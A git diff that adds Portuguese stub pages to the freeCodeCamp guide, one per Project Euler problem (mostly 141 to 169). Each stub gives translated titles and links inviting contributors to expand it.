diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-141-investigating-progressive-numbers-n-which-are-also-square/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-141-investigating-progressive-numbers-n-which-are-also-square/index.md
new file mode 100644
index 0000000000..effd0a09b3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-141-investigating-progressive-numbers-n-which-are-also-square/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating progressive numbers, n, which are also square
+localeTitle: Investigando números progressivos, n, que também são quadrados
+---
+## Problema 141: Investigando números progressivos, n, que também são quadrados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-141-investigating-progressive-numbers-n-which-are-also-square/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-142-perfect-square-collection/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-142-perfect-square-collection/index.md
new file mode 100644
index 0000000000..83d04b8f2b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-142-perfect-square-collection/index.md
@@ -0,0 +1,9 @@
+---
+title: Perfect Square Collection
+localeTitle: Coleção Quadrada Perfeita
+---
+## Problema 142: Coleção Quadrada Perfeita
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-142-perfect-square-collection/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-143-investigating-the-torricelli-point-of-a-triangle/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-143-investigating-the-torricelli-point-of-a-triangle/index.md
new file mode 100644
index 0000000000..71f29753f2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-143-investigating-the-torricelli-point-of-a-triangle/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating the Torricelli point of a triangle
+localeTitle: Investigando o ponto Torricelli de um triângulo
+---
+## Problema 143: Investigando o ponto Torricelli de um triângulo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-143-investigating-the-torricelli-point-of-a-triangle/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-144-investigating-multiple-reflections-of-a-laser-beam/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-144-investigating-multiple-reflections-of-a-laser-beam/index.md
new file mode 100644
index 0000000000..f54eef8907
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-144-investigating-multiple-reflections-of-a-laser-beam/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating multiple reflections of a laser beam
+localeTitle: Investigando múltiplos reflexos de um raio laser
+---
+## Problema 144: Investigando múltiplos reflexos de um raio laser
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-144-investigating-multiple-reflections-of-a-laser-beam/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-145-how-many-reversible-numbers-are-there-below-one-billion/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-145-how-many-reversible-numbers-are-there-below-one-billion/index.md
new file mode 100644
index 0000000000..ab6b00b30f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-145-how-many-reversible-numbers-are-there-below-one-billion/index.md
@@ -0,0 +1,9 @@
+---
+title: How many reversible numbers are there below one-billion?
+localeTitle: Quantos números reversíveis existem abaixo de um bilhão?
+---
+## Problema 145: Quantos números reversíveis existem abaixo de um bilhão?
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-145-how-many-reversible-numbers-are-there-below-one-billion/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-146-investigating-a-prime-pattern/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-146-investigating-a-prime-pattern/index.md
new file mode 100644
index 0000000000..a53ef0dcb5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-146-investigating-a-prime-pattern/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating a Prime Pattern
+localeTitle: Investigando um Padrão Prime
+---
+## Problema 146: Investigando um Padrão Prime
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-146-investigating-a-prime-pattern/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-147-rectangles-in-cross-hatched-grids/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-147-rectangles-in-cross-hatched-grids/index.md
new file mode 100644
index 0000000000..a7c3110358
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-147-rectangles-in-cross-hatched-grids/index.md
@@ -0,0 +1,9 @@
+---
+title: Rectangles in cross-hatched grids
+localeTitle: Retângulos em grades hachuradas
+---
+## Problema 147: Retângulos em grades hachuradas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-147-rectangles-in-cross-hatched-grids/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-148-exploring-pascals-triangle/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-148-exploring-pascals-triangle/index.md
new file mode 100644
index 0000000000..62d83691f3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-148-exploring-pascals-triangle/index.md
@@ -0,0 +1,9 @@
+---
+title: Exploring Pascal's triangle
+localeTitle: Explorando o triângulo de Pascal
+---
+## Problema 148: Explorando o Triângulo de Pascal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-148-exploring-pascals-triangle/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-149-searching-for-a-maximum-sum-subsequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-149-searching-for-a-maximum-sum-subsequence/index.md
new file mode 100644
index 0000000000..173650d045
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-149-searching-for-a-maximum-sum-subsequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Searching for a maximum-sum subsequence
+localeTitle: Procurando por uma subsequência de soma máxima
+---
+## Problema 149: Procurando por uma subsequência de soma máxima
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-149-searching-for-a-maximum-sum-subsequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-15-lattice-paths/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-15-lattice-paths/index.md
new file mode 100644
index 0000000000..6611ee0ee3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-15-lattice-paths/index.md
@@ -0,0 +1,9 @@
+---
+title: Lattice paths
+localeTitle: Caminhos de treliça
+---
+## Problema 15: caminhos da rede
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-15-lattice-paths/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-150-searching-a-triangular-array-for-a-sub-triangle-having-minimum-sum/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-150-searching-a-triangular-array-for-a-sub-triangle-having-minimum-sum/index.md
new file mode 100644
index 0000000000..1e8ce4313f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-150-searching-a-triangular-array-for-a-sub-triangle-having-minimum-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Searching a triangular array for a sub-triangle having minimum-sum
+localeTitle: Procurando uma matriz triangular por um sub-triângulo com soma mínima
+---
+## Problema 150: Procurando uma matriz triangular por um sub-triângulo com soma mínima
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-150-searching-a-triangular-array-for-a-sub-triangle-having-minimum-sum/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-151-paper-sheets-of-standard-sizes-an-expected-value-problem/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-151-paper-sheets-of-standard-sizes-an-expected-value-problem/index.md
new file mode 100644
index 0000000000..c8dd690f70
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-151-paper-sheets-of-standard-sizes-an-expected-value-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: Paper sheets of standard sizes - an expected-value problem
+localeTitle: Folhas de papel de tamanhos padrão - um problema de valor esperado
+---
+## Problema 151: Folhas de papel de tamanhos padrão: um problema de valor esperado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-151-paper-sheets-of-standard-sizes-an-expected-value-problem/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-152-writing-12-as-a-sum-of-inverse-squares/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-152-writing-12-as-a-sum-of-inverse-squares/index.md
new file mode 100644
index 0000000000..451e99d257
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-152-writing-12-as-a-sum-of-inverse-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Writing 1/2 as a sum of inverse squares
+localeTitle: Escrita 1/2 como soma de quadrados inversos
+---
+## Problema 152: Escrevendo 1/2 como uma soma de quadrados inversos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-152-writing-12-as-a-sum-of-inverse-squares/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-153-investigating-gaussian-integers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-153-investigating-gaussian-integers/index.md
new file mode 100644
index 0000000000..4d2bb3f8e8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-153-investigating-gaussian-integers/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating Gaussian Integers
+localeTitle: Investigando inteiros gaussianos
+---
+## Problema 153: Investigando Inteiros Gaussianos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-153-investigating-gaussian-integers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-154-exploring-pascals-pyramid/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-154-exploring-pascals-pyramid/index.md
new file mode 100644
index 0000000000..3d3b2513df
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-154-exploring-pascals-pyramid/index.md
@@ -0,0 +1,9 @@
+---
+title: Exploring Pascal's pyramid
+localeTitle: Explorando a pirâmide de Pascal
+---
+## Problema 154: Explorando a pirâmide de Pascal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-154-exploring-pascals-pyramid/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-155-counting-capacitor-circuits/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-155-counting-capacitor-circuits/index.md
new file mode 100644
index 0000000000..9ff27ab5c7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-155-counting-capacitor-circuits/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting Capacitor Circuits
+localeTitle: Contando Circuitos Capacitores
+---
+## Problema 155: Contando os Circuitos do Capacitor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-155-counting-capacitor-circuits/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-156-counting-digits/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-156-counting-digits/index.md
new file mode 100644
index 0000000000..594b829d39
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-156-counting-digits/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting Digits
+localeTitle: Contando dígitos
+---
+## Problema 156: Contando os Dígitos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-156-counting-digits/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-157-solving-the-diophantine-equation-1a1b-p10n/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-157-solving-the-diophantine-equation-1a1b-p10n/index.md
new file mode 100644
index 0000000000..459455de82
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-157-solving-the-diophantine-equation-1a1b-p10n/index.md
@@ -0,0 +1,9 @@
+---
+title: Solving the diophantine equation 1/a+1/b= p/10n
+localeTitle: Resolvendo a equação diofantina 1 / a + 1 / b = p / 10n
+---
+## Problema 157: Resolvendo a Equação Diofantina 1 / a + 1 / b = p / 10n
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-157-solving-the-diophantine-equation-1a1b-p10n/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-158-exploring-strings-for-which-only-one-character-comes-lexicographically-after-its-neighbour-to-the-left/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-158-exploring-strings-for-which-only-one-character-comes-lexicographically-after-its-neighbour-to-the-left/index.md
new file mode 100644
index 0000000000..97cb7a9c75
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-158-exploring-strings-for-which-only-one-character-comes-lexicographically-after-its-neighbour-to-the-left/index.md
@@ -0,0 +1,9 @@
+---
+title: Exploring strings for which only one character comes lexicographically after its neighbour to the left
+localeTitle: Explorando strings para as quais apenas um caractere aparece lexicograficamente após seu vizinho à esquerda
+---
+## Problema 158: Explorando cadeias para as quais apenas um caractere aparece lexicograficamente após seu vizinho à esquerda
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-158-exploring-strings-for-which-only-one-character-comes-lexicographically-after-its-neighbour-to-the-left/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-159-digital-root-sums-of-factorisations/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-159-digital-root-sums-of-factorisations/index.md
new file mode 100644
index 0000000000..2818edd9a0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-159-digital-root-sums-of-factorisations/index.md
@@ -0,0 +1,9 @@
+---
+title: Digital root sums of factorisations
+localeTitle: Soma das raízes digitais de fatorizações
+---
+## Problema 159: Soma das Raízes Digitais das Facturizações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-159-digital-root-sums-of-factorisations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-16-power-digit-sum/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-16-power-digit-sum/index.md
new file mode 100644
index 0000000000..523e0a7d63
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-16-power-digit-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Power digit sum
+localeTitle: Soma de dígito de poder
+---
+## Problema 16: soma do dígito de potência
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-16-power-digit-sum/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-160-factorial-trailing-digits/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-160-factorial-trailing-digits/index.md
new file mode 100644
index 0000000000..8e5c5731e6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-160-factorial-trailing-digits/index.md
@@ -0,0 +1,9 @@
+---
+title: Factorial trailing digits
+localeTitle: Dígitos de trilha fatorial
+---
+## Problema 160: Dígitos Fatoriais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-160-factorial-trailing-digits/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-161-triominoes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-161-triominoes/index.md
new file mode 100644
index 0000000000..3551a2f177
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-161-triominoes/index.md
@@ -0,0 +1,9 @@
+---
+title: Triominoes
+localeTitle: Triominoes
+---
+## Problema 161: Triominoes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-161-triominoes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-162-hexadecimal-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-162-hexadecimal-numbers/index.md
new file mode 100644
index 0000000000..9638a887cd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-162-hexadecimal-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Hexadecimal numbers
+localeTitle: Números hexadecimais
+---
+## Problema 162: Números Hexadecimais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-162-hexadecimal-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-163-cross-hatched-triangles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-163-cross-hatched-triangles/index.md
new file mode 100644
index 0000000000..031ec050f5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-163-cross-hatched-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Cross-hatched triangles
+localeTitle: Triângulos cruzados
+---
+## Problema 163: Triângulos Cruzados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-163-cross-hatched-triangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-164-numbers-for-which-no-three-consecutive-digits-have-a-sum-greater-than-a-given-value/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-164-numbers-for-which-no-three-consecutive-digits-have-a-sum-greater-than-a-given-value/index.md
new file mode 100644
index 0000000000..aabcee9d27
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-164-numbers-for-which-no-three-consecutive-digits-have-a-sum-greater-than-a-given-value/index.md
@@ -0,0 +1,9 @@
+---
+title: Numbers for which no three consecutive digits have a sum greater than a given value
+localeTitle: Números para os quais não há três dígitos consecutivos com uma soma maior que um determinado valor
+---
+## Problema 164: Números para os quais não há três dígitos consecutivos com uma soma maior que um determinado valor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-164-numbers-for-which-no-three-consecutive-digits-have-a-sum-greater-than-a-given-value/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-165-intersections/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-165-intersections/index.md
new file mode 100644
index 0000000000..326a8843c6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-165-intersections/index.md
@@ -0,0 +1,9 @@
+---
+title: Intersections
+localeTitle: Interseções
+---
+## Problema 165: Interseções
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-165-intersections/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-166-criss-cross/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-166-criss-cross/index.md
new file mode 100644
index 0000000000..a9622efcce
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-166-criss-cross/index.md
@@ -0,0 +1,9 @@
+---
+title: Criss Cross
+localeTitle: Criss Cross
+---
+## Problema 166: Criss Cross
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-166-criss-cross/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-167-investigating-ulam-sequences/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-167-investigating-ulam-sequences/index.md
new file mode 100644
index 0000000000..25d210989f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-167-investigating-ulam-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating Ulam sequences
+localeTitle: Investigando sequências de Ulam
+---
+## Problema 167: Investigando sequências de Ulam
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-167-investigating-ulam-sequences/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-168-number-rotations/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-168-number-rotations/index.md
new file mode 100644
index 0000000000..3076faa233
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-168-number-rotations/index.md
@@ -0,0 +1,9 @@
+---
+title: Number Rotations
+localeTitle: Rotações Numéricas
+---
+## Problema 168: Rotações Numéricas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-168-number-rotations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-169-exploring-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-169-exploring-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md
new file mode 100644
index 0000000000..73baf5d47c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-169-exploring-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md
@@ -0,0 +1,9 @@
+---
+title: Exploring the number of different ways a number can be expressed as a sum of powers of 2
+localeTitle: Explorando o número de maneiras diferentes, um número pode ser expresso como uma soma de potências de 2
+---
+## Problema 169: Explorando o número de maneiras diferentes que um número pode ser expresso como uma soma de potências de 2
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-169-exploring-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-17-number-letter-counts/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-17-number-letter-counts/index.md
new file mode 100644
